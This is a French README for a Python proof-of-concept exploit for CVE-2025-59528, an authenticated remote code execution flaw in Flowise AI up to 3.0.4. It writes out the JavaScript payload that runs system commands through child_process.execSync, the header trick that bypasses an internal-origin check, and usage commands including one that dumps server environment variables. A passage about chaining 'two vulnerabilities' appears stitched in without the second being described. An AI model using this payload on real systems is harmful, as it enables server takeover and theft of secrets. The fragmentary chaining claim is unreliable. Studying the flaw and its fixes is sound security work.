
PoC d'exploitation en Python pour CVE-2025-59528, permettant une RCE authentifiée sur Flowise AI <= 3.0.4 via le point de terminaison customMCP et Node.js child_process.execSync.
ID CVE : CVE-2025-59528
Logiciel affecté : Flowise AI
Versions vulnérables : <= 3.0.4
Version corrigée : 3.0.5 et ultérieures
Gravité : Critique
Auteur : arensballiu
Date : 2025
Les versions de Flowise AI jusqu'à 3.0.4 incluses permettent à un utilisateur authentifié d'obtenir une exécution de code à distance (RCE) sur le serveur hôte en envoyant une charge utile JavaScript spécialement conçue à l'endpoint /api/v1/node-load-method/customMCP.
La méthode de chargement du nœud customMCP accepte une entrée contrôlée par l'utilisateur qui est évaluée côté serveur en tant que JavaScript, sans assainissement ni sandboxing adéquats. En injectant une charge utile exploitant child_process.execSync de Node.js, un attaquant peut exécuter des commandes arbitraires du système d'exploitation avec les privilèges du processus serveur Flowise.
L'endpoint nécessite également la présence de l'en-tête x-request-from: internal.
| Endpoint | Méthode | Authentification requise | Objectif |
|---|---|---|---|
/api/v1/auth/login | POST | Non | S'authentifier et obtenir une session |
/api/v1/node-load-method/customMCP | POST | Oui (cookie de session) | Endpoint vulnérable de méthode de chargement de nœud |
Fichier : CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Option | Forme longue | Requis | Description |
|---|---|---|---|
-e | --email | Oui | Adresse e-mail de l'utilisateur authentifié |
-i | --url | Oui | URL de base de l'instance Flowise |
-p | --password | Oui | Mot de passe de l'utilisateur authentifié |
-c | --cmd | Oui | Commande système à exécuter sur le serveur |
Vérifier l'exécution de code :
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Récupérer les variables d'environnement du serveur :
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
L'exploit injecte l'expression JavaScript suivante dans le champ mcpServerConfig :
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — charge le module d'exécution de processus intégré de Node.js.execSync('<command>') — exécute de manière synchrone la commande système fournie par l'attaquant.L'en-tête x-request-from: internal est également ajouté à la requête pour passer une vérification d'origine interne qui bloquerait autrement l'appel.
L'endpoint customMCP transmet directement l'entrée fournie par l'utilisateur dans un contexte d'évaluation JavaScript sur le serveur, sans assainissement ni sandboxing. Combiné à un accès non restreint aux modules principaux de Node.js (en particulier child_process) via process.mainModule.require, cela crée un vecteur RCE trivialement exploitable. La vérification de l'en-tête x-request-from n'offre aucune frontière de sécurité significative car elle n'est validée auprès d'aucune source de confiance.
Ces deux vulnérabilités peuvent être chaînées pour obtenir un chemin d'attaque RCE non authentifié contre les instances Flowise exécutant les versions <= 3.0.4 :
child_process, fs, etc.) via un sandbox approprié (par exemple, vm2, contextes isolés, ou suppression de l'accès à process.mainModule).x-request-from via un mécanisme côté serveur plutôt qu'une simple vérification de chaîne.Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisée uniquement. L'utilisation de ce script contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur et les contributeurs déclinent toute responsabilité en cas de mauvaise utilisation.